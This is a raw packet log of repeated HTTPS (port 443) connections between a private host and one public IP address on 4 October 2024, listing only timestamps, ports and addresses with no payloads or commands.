Oct 4, 2024 09:53:24.738240957 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.738271952 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.738523006 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.738531113 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.738977909 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.738989115 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.739327908 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.739332914 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.758687019 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.772511005 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.774452925 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.778094053 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.778105021 CEST	443	57192	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.778491020 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.778496981 CEST	443	57192	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.779517889 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.779550076 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.779887915 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.779895067 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.780020952 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.780030966 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.780595064 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.780601025 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.841377020 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.841476917 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.841536999 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.841631889 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.842525005 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.842688084 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.860655069 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.860655069 CEST	57195	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.860718012 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.860745907 CEST	443	57195	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.862117052 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.862139940 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.862153053 CEST	57196	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.862159967 CEST	443	57196	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.872561932 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.872610092 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.872823954 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.873639107 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.873651028 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.873707056 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.873749971 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.873764992 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.874011993 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.874025106 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.876008034 CEST	443	57192	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.876498938 CEST	443	57192	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.876640081 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.876640081 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.876641035 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.878061056 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.878087997 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.878165960 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.878258944 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.878268957 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.879348993 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.879535913 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.879632950 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.879633904 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.879633904 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.881081104 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.881165981 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.881252050 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.881339073 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.881361961 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.883517027 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.883764029 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.883934975 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.884068012 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.884068012 CEST	57193	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.884114027 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.884141922 CEST	443	57193	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.886960030 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.887046099 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:24.887132883 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.887245893 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:24.887269974 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.180764914 CEST	57194	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.180774927 CEST	57192	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.180797100 CEST	443	57194	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.180826902 CEST	443	57192	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.530528069 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.531104088 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.531166077 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.531527042 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.531543970 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.531771898 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.532155037 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.532197952 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.532346964 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.532355070 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.546013117 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.546329021 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.546345949 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.546614885 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.546626091 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.561902046 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.562289953 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.562319040 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.562472105 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.562486887 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.565836906 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.566092968 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.566112041 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.566366911 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.566373110 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.629050970 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.629322052 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.629498005 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.629578114 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.629579067 CEST	57200	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.629622936 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.629653931 CEST	443	57200	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.631808996 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.631970882 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.632047892 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.632061958 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.632131100 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.632179976 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.632179976 CEST	57197	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.632216930 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.632246017 CEST	443	57197	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.633014917 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.633059025 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.633146048 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.633354902 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.633382082 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.634147882 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.634202957 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.634284019 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.634435892 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.634469986 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.648299932 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.648535967 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.648607016 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.648767948 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.648767948 CEST	57198	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.648782015 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.648802996 CEST	443	57198	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.650661945 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.650696993 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.650767088 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.650926113 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.650938988 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.664560080 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.664624929 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.664691925 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.664722919 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.664865971 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.664901972 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.664937019 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.664963961 CEST	57201	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.664978981 CEST	443	57201	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.667193890 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.667279005 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.667380095 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.667541027 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.667591095 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.671205044 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.671247005 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.671292067 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.671295881 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.671344042 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.671477079 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.671494007 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.671525955 CEST	57199	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.671534061 CEST	443	57199	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.673331976 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.673355103 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:25.673448086 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.673612118 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:25.673636913 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.276228905 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.276844025 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.276927948 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.277385950 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.277400970 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.297025919 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.297430992 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.297489882 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.298073053 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.298105001 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.309601068 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.309900999 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.309964895 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.310429096 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.310442924 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.318708897 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.319106102 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.319164991 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.319452047 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.319466114 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.323359966 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.323651075 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.323667049 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.324172020 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.324182034 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.375910997 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.375976086 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.376074076 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.376141071 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.376141071 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.376339912 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.376379967 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.376405954 CEST	57203	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.376421928 CEST	443	57203	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.379475117 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.379534960 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.379637957 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.379842043 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.379872084 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.395932913 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.396061897 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.396148920 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.396431923 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.396431923 CEST	57204	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.396460056 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.396486998 CEST	443	57204	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.398525953 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.398614883 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.398725033 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.398889065 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.398925066 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.414222956 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.414895058 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.415035963 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.415214062 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.415214062 CEST	57202	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.415249109 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.415271997 CEST	443	57202	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.417092085 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.417124987 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.417205095 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.417401075 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.417418003 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.418026924 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.418078899 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.418138027 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.418165922 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.418267965 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.418298960 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.418320894 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.418629885 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.418715954 CEST	443	57206	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.418776035 CEST	57206	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.420346975 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.420356989 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.420423031 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.420591116 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.420605898 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.423681974 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.423727989 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.423787117 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.423801899 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.423870087 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.423902988 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.423940897 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.423965931 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.423965931 CEST	57205	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.423986912 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.424004078 CEST	443	57205	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.426525116 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.426565886 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:26.426666975 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.426834106 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:26.426851034 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.050918102 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.051398993 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.051429987 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.051450014 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.051764011 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.051795959 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.051862001 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.051879883 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.052341938 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.052349091 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.063592911 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.063958883 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.063991070 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.064301968 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.064308882 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.068458080 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.068792105 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.068814039 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.069312096 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.069318056 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.071309090 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.071651936 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.071669102 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.071970940 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.071978092 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.150777102 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.151103973 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.151274920 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.151274920 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.151274920 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.151499033 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.152040958 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.152091980 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.152123928 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.152204990 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.152219057 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.152245998 CEST	57207	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.152307034 CEST	443	57207	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.155013084 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.155102015 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.155189037 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.155539989 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.155584097 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.155659914 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.155668974 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.155721903 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.155746937 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.155759096 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.161783934 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.162434101 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.162491083 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.162516117 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.162516117 CEST	57210	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.162533045 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.162543058 CEST	443	57210	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.164242029 CEST	57214	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.164268017 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.164356947 CEST	57214	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.164438009 CEST	57214	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.164464951 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.166719913 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.166784048 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.166841984 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.166873932 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.166897058 CEST	57211	443	192.168.2.4	13.107.246.45
